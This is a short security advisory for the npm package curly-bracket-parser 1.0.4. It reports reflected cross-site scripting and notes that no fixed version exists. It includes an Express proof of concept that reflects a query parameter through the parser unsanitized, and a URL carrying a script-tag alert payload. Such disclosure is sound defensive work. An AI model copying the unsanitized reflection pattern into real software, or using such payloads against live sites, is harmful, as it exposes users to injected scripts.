curly-bracket-parser@1.0.4 vulnerabilities

curly-bracket-parser is a Simple parser to replace variables inside templates/strings and files.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS). When used as a template library, it does not properly sanitize the user input.

PoC

const express = require('express')
const parser = require('curly-bracket-parser')

const app = express()
const port = 3000


app.get('/reflected_string', (req, res) => {
    res.send(parser.parse('hi {{name}}', {name:req.query.name}))
});


app.listen(port, () => {
    console.log(`listening on ${port}`)
})

# Navigate to localhost:3000/reflected_string?name=<script>alert('code')</script>

There is no fixed version for curly-bracket-parser.